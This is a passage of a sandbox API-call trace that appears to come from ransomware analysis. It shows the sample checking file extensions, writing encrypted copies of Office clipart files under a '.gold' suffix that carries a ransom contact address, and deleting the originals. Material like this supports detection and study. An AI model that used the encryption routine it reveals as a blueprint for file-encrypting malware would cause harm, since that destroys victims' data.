(lpString=".zip") returned 4 [0102.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.804] lstrlenW (lpString=".rar") returned 4 [0102.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString=".bz2") returned 4 [0102.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString=".7z") returned 3 [0102.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".dbf") returned 4 [0102.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".1cd") returned 4 [0102.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".jpg") returned 4 [0102.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".doc") returned 4 [0102.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString=".docx") returned 5 [0102.804] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0102.804] lstrlenW (lpString=".pdf") returned 4 [0102.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString=".xls") returned 4 [0102.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.804] lstrlenW (lpString=".xlsx") returned 5 [0102.804] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0102.804] lstrlenW (lpString=".ppt") returned 4 [0102.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".zip") returned 4 [0102.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.804] lstrlenW (lpString=".rar") returned 4 [0102.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString=".bz2") returned 4 [0102.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString=".7z") returned 3 [0102.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".dbf") returned 4 [0102.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".1cd") returned 4 [0102.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0102.804] lstrlenW (lpString=".jpg") returned 4 [0102.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.805] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.805] lstrlenW (lpString="J0099201.GIF") returned 12 [0102.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.805] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=51401) returned 1 [0102.805] CloseHandle (hObject=0x3b8) returned 1 [0102.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20 [0102.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.805] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.806] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.806] GetLastError () returned 0x0 [0102.806] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xc8c9, lpOverlapped=0x0) returned 1 [0102.808] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xc8d0, lpOverlapped=0x0) returned 1 [0102.809] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.809] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.809] SetEndOfFile (hFile=0x3b4) returned 1 [0102.810] CloseHandle (hObject=0x3b4) returned 1 [0102.810] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.810] SetEndOfFile (hFile=0x3b8) returned 1 [0102.812] CloseHandle (hObject=0x3b8) returned 1 [0102.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString=".doc") returned 4 [0102.813] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.813] lstrlenW (lpString=".docx") returned 5 [0102.813] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0102.813] lstrlenW (lpString=".pdf") returned 4 [0102.813] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString=".xls") returned 4 [0102.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString=".xlsx") returned 5 [0102.813] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0102.813] lstrlenW (lpString=".ppt") returned 4 [0102.813] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString=".zip") returned 4 [0102.813] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString=".rar") returned 4 [0102.813] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString=".bz2") returned 4 [0102.813] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.813] lstrlenW (lpString=".7z") returned 3 [0102.813] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString=".dbf") returned 4 [0102.813] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString=".1cd") returned 4 [0102.813] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString=".jpg") returned 4 [0102.813] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.813] lstrlenW (lpString=".doc") returned 4 [0102.813] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.813] lstrlenW (lpString=".docx") returned 5 [0102.813] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0102.813] lstrlenW (lpString=".pdf") returned 4 [0102.813] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString=".xls") returned 4 [0102.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.813] lstrlenW (lpString=".xlsx") returned 5 [0102.814] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0102.814] lstrlenW (lpString=".ppt") returned 4 [0102.814] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.814] lstrlenW (lpString=".zip") returned 4 [0102.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.814] lstrlenW (lpString=".rar") returned 4 [0102.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.814] lstrlenW (lpString=".bz2") returned 4 [0102.814] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.814] lstrlenW (lpString=".7z") returned 3 [0102.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.814] lstrlenW (lpString=".dbf") returned 4 [0102.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.814] lstrlenW (lpString=".1cd") returned 4 [0102.814] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0102.814] lstrlenW (lpString=".jpg") returned 4 [0102.814] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.814] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.814] lstrlenW (lpString="J0099202.GIF") returned 12 [0102.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.814] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4967) returned 1 [0102.814] CloseHandle (hObject=0x3b8) returned 1 [0102.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20 [0102.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.815] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.815] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.815] GetLastError () returned 0x0 [0102.815] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1367, lpOverlapped=0x0) returned 1 [0102.817] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0102.817] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.818] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.818] SetEndOfFile (hFile=0x3b4) returned 1 [0102.820] CloseHandle (hObject=0x3b4) returned 1 [0102.820] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.820] SetEndOfFile (hFile=0x3b8) returned 1 [0102.821] CloseHandle (hObject=0x3b8) returned 1 [0102.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0102.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.824] lstrlenW (lpString=".doc") returned 4 [0102.824] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.824] lstrlenW (lpString=".docx") returned 5 [0102.824] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0102.824] lstrlenW (lpString=".pdf") returned 4 [0102.824] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".xls") returned 4 [0102.825] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".xlsx") returned 5 [0102.825] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0102.825] lstrlenW (lpString=".ppt") returned 4 [0102.825] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".zip") returned 4 [0102.825] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".rar") returned 4 [0102.825] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".bz2") returned 4 [0102.825] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.825] lstrlenW (lpString=".7z") returned 3 [0102.825] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".dbf") returned 4 [0102.825] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".1cd") returned 4 [0102.825] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".jpg") returned 4 [0102.825] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".doc") returned 4 [0102.825] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.825] lstrlenW (lpString=".docx") returned 5 [0102.825] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0102.825] lstrlenW (lpString=".pdf") returned 4 [0102.825] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".xls") returned 4 [0102.825] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".xlsx") returned 5 [0102.825] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0102.825] lstrlenW (lpString=".ppt") returned 4 [0102.825] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".zip") returned 4 [0102.825] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".rar") returned 4 [0102.825] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.825] lstrlenW (lpString=".bz2") returned 4 [0102.825] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.825] lstrlenW (lpString=".7z") returned 3 [0102.825] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".dbf") returned 4 [0102.825] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".1cd") returned 4 [0102.825] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0102.825] lstrlenW (lpString=".jpg") returned 4 [0102.826] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.826] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.826] lstrlenW (lpString="J0099203.GIF") returned 12 [0102.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.826] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3904) returned 1 [0102.826] CloseHandle (hObject=0x3b8) returned 1 [0102.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20 [0102.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.827] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.827] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.827] GetLastError () returned 0x0 [0102.827] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xf40, lpOverlapped=0x0) returned 1 [0102.828] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xf50, lpOverlapped=0x0) returned 1 [0102.829] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.829] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.829] SetEndOfFile (hFile=0x3b4) returned 1 [0102.830] CloseHandle (hObject=0x3b4) returned 1 [0102.830] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.830] SetEndOfFile (hFile=0x3b8) returned 1 [0102.831] CloseHandle (hObject=0x3b8) returned 1 [0102.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.832] lstrlenW (lpString=".doc") returned 4 [0102.832] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.832] lstrlenW (lpString=".docx") returned 5 [0102.832] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0102.832] lstrlenW (lpString=".pdf") returned 4 [0102.832] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.832] lstrlenW (lpString=".xls") returned 4 [0102.832] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.832] lstrlenW (lpString=".xlsx") returned 5 [0102.832] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0102.832] lstrlenW (lpString=".ppt") returned 4 [0102.832] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.832] lstrlenW (lpString=".zip") returned 4 [0102.832] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.832] lstrlenW (lpString=".rar") returned 4 [0102.832] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.832] lstrlenW (lpString=".bz2") returned 4 [0102.832] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.832] lstrlenW (lpString=".7z") returned 3 [0102.832] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.832] lstrlenW (lpString=".dbf") returned 4 [0102.832] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0102.832] lstrlenW (lpString=".1cd") returned 4 [0102.832] lstrcmpiW 